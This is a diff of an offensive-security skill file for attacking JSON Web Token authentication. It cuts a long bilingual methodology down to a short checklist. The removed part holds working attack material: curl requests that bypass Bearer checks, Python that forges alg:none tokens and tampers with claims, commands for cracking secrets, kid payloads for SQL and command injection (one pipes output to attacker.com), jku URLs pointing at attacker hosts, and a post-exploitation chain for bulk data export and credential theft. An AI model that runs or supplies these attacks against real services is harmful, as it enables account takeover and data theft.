jwt-attack · diff

git:20260602.95e27a7 to git:20260709.a882698

20 added, 487 removed. Audit A to A.

---
name: jwt-attack
description: >
- JWT (JSON Web Token) attack methodology. Covers Bearer removal
- bypass, algorithm confusion (alg:none / RS256→HS256 / empty sig),
- secret brute force with public wordlists + JS-extracted keywords,
- kid/jku/jwk header injection, claims manipulation, cross-service
- token reuse, JWKS endpoint analysis, and multi-role privilege
- escalation with post-exploitation chain.
+ Reason about JWT trust boundaries and whether token control can become
+ privilege escalation.
metadata:
- tags: "jwt,bearer,alg-none,secret-brute-force,kid-injection,jku,jwks,claims"
- category: "offensive-security"
- ---
-
- # JWT Attack — Full Methodology
-
- ## 0. Test Priority Matrix (按成功率排序)
-
- ```
- Priority 1 — 最快、无工具依赖
- ├── Bearer 移除: 5秒,纯 curl
- ├── alg:none: 10秒,base64 改 header
- ├── 空签名: 同上,直接删签名部分
- ├── 声明篡改: 改 payload 里的 role/userId,不改签名
- └── 换 Header 投递: 把 token 放到 X-Auth-Token / Cookie
-
- Priority 2 — 需要工具,10-30分钟
- ├── Secret 爆破: jwt.secrets.list + JS 关键字
- ├── kid 路径穿越: 读 /dev/null 实现 alg:none
- ├── RS256→HS256: 需要公钥(从 JWKS 端点拿)
-
- Priority 3 — 特定场景
- ├── jku 注入: 需要托管自己的 JWKS
- ├── jwk 内嵌: 同上,自签 key 嵌入 header
- ├── 跨服务重用: 同一 token 打不同微服务
- └── JWKS 私钥泄露: /.well-known/jwks.json 里有 d 参数
- ```
-
- ## Attack Surface
-
- JWT vulnerabilities exist when the server:
- 1. Does not properly validate the "Bearer" prefix
- 2. Trusts the `alg` header from the client
- 3. Uses a weak/guessable secret for HMAC signing
- 4. Allows kid/jku/jwk header injection
- 5. Does not validate token claims (exp, aud, iss, role)
- 6. Reuses the same JWT validation logic across microservices
- 7. Exposes key material via JWKS endpoint
-
- ---
-
- ## 1. Bearer Removal Bypass
-
- **Scenario**: Multi-role platform (user/admin). Normal user's token gets
- 401/403 on admin endpoints. Server may have flawed middleware that
- checks the Authorization header differently with/without "Bearer" prefix.
-
- ```bash
- # Original request (returns 403)
- curl -s https://target/api/admin/users \
- -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
-
- # Attempt 1: Remove "Bearer " prefix
- curl -s https://target/api/admin/users \
- -H "Authorization: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
-
- # Attempt 2: Lowercase bearer
- curl -s https://target/api/admin/users \
- -H "Authorization: bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
-
- # Attempt 3: Bearer with extra spaces
- curl -s https://target/api/admin/users \
- -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
-
- # Attempt 4: Token in alternative headers
- curl -s https://target/api/admin/users \
- -H "X-Auth-Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
- curl -s https://target/api/admin/users \
- -H "X-API-Key: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
-
- # Attempt 5: Token in Cookie
- curl -s https://target/api/admin/users \
- -H "Cookie: access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
-
- # Attempt 6: Token in POST body / query param
- curl -s "https://target/api/admin/users?token=eyJh..."
- curl -s -X POST https://target/api/admin/users \
- -H "Content-Type: application/json" \
- -d '{"token":"eyJh..."}'
- ```
-
- **Why this works**: Some middleware frameworks have separate logic for
- "authenticated user" vs "role check". The Bearer prefix may trigger a
- role validation path, while the bare token bypasses it and falls back
- to a less strict check. Common in custom API gateway implementations.
-
- ---
-
- ## 2. Algorithm Confusion
-
- ### 2a. alg:none (remove signature entirely)
-
- ```python
- import base64, json
-
- def jwt_none(token):
- """Strip signature by setting alg to none."""
- header_b64, payload_b64, _ = token.split('.')
-
- # Decode and modify header
- header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
- header['alg'] = 'none'
- new_header = base64.urlsafe_b64encode(
- json.dumps(header).encode()
- ).rstrip(b'=').decode()
-
- # Re-encode without signature
- return f"{new_header}.{payload_b64}."
- ```
-
- ### 2b. Empty Signature (不设 alg:none,直接删签名)
-
- 有些库检查 `alg` 值为 `none` 时会拒绝,但只要签名部分为空就通过。
-
- ```bash
- # 方法: 不修改 header,直接发 token 不带签名部分
- # Original: eyJhbG...header.eyJzdW...payload.sig
- # Attack: eyJhbG...header.eyJzdW...payload.
- # 注意最后有个点 ^
-
- curl https://target/api/admin/users \
- -H "Authorization: Bearer eyJhbG...header.eyJzdW...payload."
- ```
-
- ### 2c. No Algorithm Specified
-
- 部分库在 header 中没有 `alg` 字段时默认跳过验证:
-
- ```json
- // Remove alg field entirely
- {"typ": "JWT"}
- ```
-
- ### 2d. Algorithm Case Variations
-
- ```
- "alg": "None" → Python PyJWT 某些版本
- "alg": "NONE" → 某些 Java 实现
- "alg": "nOnE" → 混合大小写绕过简单字符串比较
- ```
-
- ### 2e. RS256 → HS256 (public key as HMAC secret)
-
- When the server uses RS256 (asymmetric) but accepts HS256 (symmetric),
- the public key can be used as the HMAC secret to forge tokens.
-
- ```bash
- # 1. Get the public key (often at /.well-known/jwks.json)
- curl https://target/.well-known/jwks.json
-
- # 2. Convert JWK to PEM, use as HMAC secret
- # 3. Forge token with HS256, sign with the public key
- # Tool: jwt_tool or python-jwt
- ```
-
- ---
-
- ## 3. Secret Brute Force
-
- ### Step 1: Download public wordlist
-
- ```bash
- # Download wallarm jwt-secrets list
- curl -sL https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list \
- -o jwt.secrets.list
-
- wc -l jwt.secrets.list # ~1000+ common JWT secrets
- ```
-
- ### Step 2: Collect JS-extracted keywords
-
- From the recon phase, collect sensitive values found in JS files:
- ```
- apiKey, secretKey, secret, key, password, token, private_key
- AES_KEY, ENCRYPTION_KEY, JWT_SECRET, SIGNING_KEY
- Any hardcoded string values found in config objects
- ```
-
- Build a custom dictionary from these:
- ```bash
- # Extract keywords from JS analysis results
- # Combine with wallarm list
- cat jwt.secrets.list js_keywords.txt | sort -u > jwt_combined.txt
- ```
-
- ### Step 3: Crack
-
- ```bash
- # hashcat mode 16500 = JWT HS256
- hashcat -m 16500 jwt_token.txt jwt_combined.txt --rules best64.rule
-
- # jwt_tool
- python3 jwt_tool.py <JWT_TOKEN> -C -d jwt_combined.txt
-
- # john
- john jwt_token.txt --wordlist=jwt_combined.txt
- ```
-
- ### Step 4: Verify cracked secret
-
- ```bash
- # Sign a test payload with the cracked secret
- python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "cracked_secret"
-
- # Test the forged token against admin endpoint
- curl https://target/api/admin/users \
- -H "Authorization: Bearer <FORGED_TOKEN>"
- ```
-
- ---
-
- ## 4. kid (Key ID) Injection
-
- The `kid` header tells the server which key to use for verification.
- Poorly implemented servers may be vulnerable to injection in the kid parameter.
-
- ```json
- // Path traversal — read /dev/null (always empty → alg:none bypass)
- {"alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null"}
-
- // Path traversal — read predictable file with known content as key
- {"alg": "HS256", "typ": "JWT", "kid": "../../../etc/hostname"}
-
- // SQL injection — manipulate key lookup query
- {"alg": "HS256", "typ": "JWT", "kid": "1' UNION SELECT 'my_secret_key'--"}
-
- // Command injection — key ID passed to shell/exec
- {"alg": "HS256", "typ": "JWT", "kid": "key; whoami"}
- {"alg": "HS256", "typ": "JWT", "kid": "key|curl attacker.com/$(id)"}
-
- // Null byte truncation
- {"alg": "HS256", "typ": "JWT", "kid": "valid_key%00.sql"}
- ```
-
- ---
-
- ## 5. jku / jwk Header Injection
-
- ### 5a. jku (JWK Set URL) — 让服务器去你的域名取公钥
-
- ```json
- {
- "alg": "RS256",
- "typ": "JWT",
- "jku": "https://attacker.com/jwks.json"
- }
- ```
-
- **利用条件**: 服务器从 `jku` URL 取 JWKS,且该 URL 未被白名单限制。
-
- ```bash
- # 1. 在自己的服务器上托管 jwks.json
- # 2. 生成 RSA 密钥对,公钥放进 jwks.json
- # 3. 用私钥签名 JWT,jku 指向自己的 jwks.json
- # 4. 服务器会从你的 jwks.json 取公钥→ 验证通过
-
- # 绕过技巧 — 如果 jku URL 只校验前缀:
- "jku": "https://target.com.evil.com/jwks.json"
- "jku": "https://target.com@evil.com/jwks.json"
- "jku": "https://evil.com/target.com/jwks.json"
- ```
-
- ### 5b. jwk (Embedded JWK) — 直接把公钥嵌在 header 里
-
- ```json
- {
- "alg": "RS256",
- "typ": "JWT",
- "jwk": {
- "kty": "RSA",
- "n": "0vx7agoebGcQ...",
- "e": "AQAB"
- }
- }
- ```
-
- **利用**: 部分库在 `jwk` 存在时会优先使用内嵌的公钥,而不去验证该公钥是否可信。用自己的私钥签名 → 公钥嵌入 jwk → 服务器用该公钥验证。
-
- ---
-
- ## 6. Claims Manipulation(声明篡改)
-
- **核心思路**: 不改签名,只改 payload 中的权限声明,赌服务器不验证签名或验证有缺陷。
-
- ### 改 role/scope 提权
-
- ```python
- import base64, json
-
- def modify_claims(token, new_claims):
- header_b64, payload_b64, sig = token.split('.')
-
- payload = json.loads(base64.urlsafe_b64decode(payload_b64 + '=='))
- payload.update(new_claims)
-
- new_payload = base64.urlsafe_b64encode(
- json.dumps(payload).encode()
- ).rstrip(b'=').decode()
-
- return f"{header_b64}.{new_payload}.{sig}"
-
- # 用法
- new_token = modify_claims(original_token, {
- "role": "admin",
- "is_admin": True,
- "scope": "*",
- "userId": 1, # 改成 admin 的 userId
- })
- ```
-
- ### 常见可篡改字段
-
- ```
- role / roles / group / groups / permission / permissions
- is_admin / isAdmin / admin
- scope / scopes
- userId / user_id / sub / aud
- level / tier / type
- organization / org_id / tenant / tenant_id
- ```
-
- ### 不验证的声明
-
- ```
- exp — 服务器可能不检查过期时间
- nbf — 同上
- iat — 签发时间
- iss — 签发者
- jti — JWT ID (用于防重放,但不检查就废了)
- ```
-
- ---
-
- ## 7. Cross-Service Token Reuse(跨服务令牌重用)
-
- 微服务架构中,同一个 JWT 可能在多个服务之间传递。A 服务的 token 可能在 B 服务上也有效。
-
- ```bash
- # 1. 从 JS/响应中收集所有已知微服务地址
- # 2. 用同一个 token 逐个测试
- for svc in api-user api-order api-payment api-notification \
- internal-api admin-api; do
- echo "=== $svc ==="
- curl -s https://target/${svc}/users \
- -H "Authorization: Bearer $TOKEN" | head -5
- done
-
- # 3. 特别关注:
- # - internal / admin 前缀的域名
- # - 不同端口 (443→8080→8443→9090)
- # - 内网地址 (10.x, 172.x, 192.168.x)
- ```
-
- ---
-
- ## 8. JWKS Endpoint Analysis
-
- `/.well-known/jwks.json` 可能泄露关键信息:
-
- ```bash
- curl -s https://target/.well-known/jwks.json | python -m json.tool
- ```
-
- ### 检查清单
-
- ```
- □ 检查是否包含 "d" 字段 — 私钥泄露! (严重)
- □ 检查 "kid" 值 — 可能暴露内部命名/路径
- □ 检查是否有多个 key — 可能对应不同环境/租户
- □ 尝试其他常见路径:
- /.well-known/openid-configuration
- /jwks.json
- /api/jwks
- /auth/jwks
- /v1/jwks
- ```
-
- ---
-
- ## 9. Post-Exploitation Chain(拿到身份后的攻击闭环)
-
- 拿到 admin 级别 token 后,不要停——回注到之前发现的所有端点:
-
- ```
- ┌────────────────────────────────────────────────────────────┐
- │ JWT 攻击闭环 — 与前序阶段联动 │
- ├────────────────────────────────────────────────────────────┤
- │ │
- │ Phase 1 Recon: JS 提取关键字 → 喂给 JWT 爆破字典 │
- │ │ │
- │ ▼ │
- │ Phase 2 API Fuzz: 发现的需要认证的端点清单 │
- │ │ │
- │ ▼ │
- │ Phase 3 Bypass: JWT 爆破成功 → 伪造 admin token │
- │ │ │
- │ ▼ │
- │ [闭环] 用 admin token 重新打 Phase 2 的所有端点: │
- │ □ 所有之前 401/403 的端点 → 现在可能 200 │
- │ □ 导出类接口 (*/export, */download) → 全量数据泄露 │
- │ □ 管理类接口 (*/admin/*, */manage/*) → 垂直越权确认 │
- │ □ 用户列表接口 → 提取更多 userId → 扩大 IDOR 范围 │
- │ □ 配置接口 → 读取系统配置、SMTP 密码、AK/SK │
- │ │
- │ [链式] 新发现的敏感数据 → 回注到 Phase 0 源泄露搜索 │
- │ │ (用新发现的内部路径/配置字段搜索 GitHub/Gitee) │
- │ ▼ │
- │ 形成闭环: 低权限用户 → JWT爆破 → admin → 全量数据 │
- │ → 源泄露扩大 → 发现更多凭据 → 更广攻击面 │
- └────────────────────────────────────────────────────────────┘
- ```
-
+ tags: "jwt,auth,token,privilege-escalation"
---
- ## 10. Quick Test Checklist (Full)
-
- ```
- === Priority 1: 30秒内完成 ===
- □ 解码 JWT payload: echo "token" | cut -d'.' -f2 | base64 -d
- □ Bearer 移除: 去掉 "Bearer " 前缀 → 裸 token
- □ Bearer 变体: bearer / BEARER / 多余空格
- □ 换 header: X-Auth-Token / X-API-Key / Cookie / ?token=
- □ alg:none + 移除签名
- □ 空签名: header.payload. (尾部带点)
- □ 删除 alg 字段 + 移除签名
-
- === Priority 2: 声明篡改 (不改签名) ===
- □ 查看 payload 中是否有 role/isAdmin/scope 字段
- □ 尝试修改 role → admin, is_admin → true, userId → 1
- □ 保持原签名不变,只改 payload 的 base64
- □ 用修改后的 token 打管理接口
-
- === Priority 3: 密码学攻击 ===
- □ Download jwt.secrets.list (wallarm)
- □ 从 JS 提取关键字合并字典
- □ hashcat -m 16500 爆破 HMAC secret
- □ RS256→HS256: 从 jwks.json 取公钥当 secret
-
- === Priority 4: Header 注入 ===
- □ kid 路径穿越: ../../../../dev/null
- □ kid SQL 注入: 1' UNION SELECT 'key'--
- □ jku 注入: 指向自己的 JWKS 端点
- □ jwk 内嵌: 嵌入自签 RSA 公钥
- □ 尝试算法变体: None / NONE / nOnE
-
- === Priority 5: 环境分析 ===
- □ 访问 /.well-known/jwks.json → 检查私钥泄露
- □ 访问 /.well-known/openid-configuration
- □ 跨服务测试: 同一 token 打不同微服务
- □ 过期 token 测试: 用已过期的 token 请求
- □ 查看 token 在 JS/响应/日志中的泄露
+ # JWT Attack
- === Post-Exploitation (拿到身份后) ===
- □ Admin token → 重打所有 Phase 2 发现的端点
- □ 导出接口 (/export/* /download/*) → 全量数据
- □ 管理接口 (/admin/* /manage/*) → 垂直越权确认
- □ 用户列表 → 提取更多 ID → 扩大 IDOR
- □ 配置接口 → 读取 AK/SK / SMTP 密码
- □ 新发现的敏感数据 → 回注源泄露搜索
- ```
+ ## Goal
- ---
+ 判断 JWT 是否能被伪造、篡改、替换或用于跨角色访问,并把成功结果回注到所有相关接口。
- ## Tools
+ ## Tools / Inputs
- ```bash
- # jwt_tool — 综合 JWT 攻击套件
- python3 jwt_tool.py <token> -M at # 全部攻击方法
- python3 jwt_tool.py <token> -T # 篡改 payload
- python3 jwt_tool.py <token> -C -d dict.txt # 爆破 secret
- python3 jwt_tool.py <token> -X k # kid 注入
+ - JWT token、header/payload/signature、JS 关键字、泄露 secret、角色字段
+ - 参考:`references/jwt-analysis.md`
- # hashcat — 高性能爆破
- hashcat -m 16500 jwt.txt wordlist.txt --rules best64.rule
+ ## Constraints
- # jwt-cracker — 轻量 Node.js 爆破
- npx jwt-cracker <token> <wordlist>
+ 1. 不把“能解码 JWT”当漏洞。
+ 2. 必须验证签名绕过、伪造或权限提升是否真实生效。
+ 3. 成功拿到新身份后重测高价值接口。
+ 4. 不爆破生产高风险目标;优先用已泄露或上下文词典。
+ 5. 失败结果记录为认证边界证据。
- # 手动解码
- echo "<token>" | cut -d'.' -f2 | base64 -d 2>/dev/null | python -m json.tool
+ ## Chain Questions
- # Python 快速篡改
- python3 -c "
- import base64,json
- h,p,s = '<TOKEN>'.split('.')
- pl = json.loads(base64.urlsafe_b64decode(p+'=='))
- pl['role'] = 'admin'
- np = base64.urlsafe_b64encode(json.dumps(pl).encode()).rstrip(b'=').decode()
- print(f'{h}.{np}.{s}')
- "
- ```
+ - payload 里哪些字段控制身份、角色、租户或权限?
+ - secret 是否来自 JS、源码泄露或配置泄露?
+ - 伪造 token 能否访问管理、导出、配置或用户列表?
+ - 新 token 是否能扩大 value-pool linkage?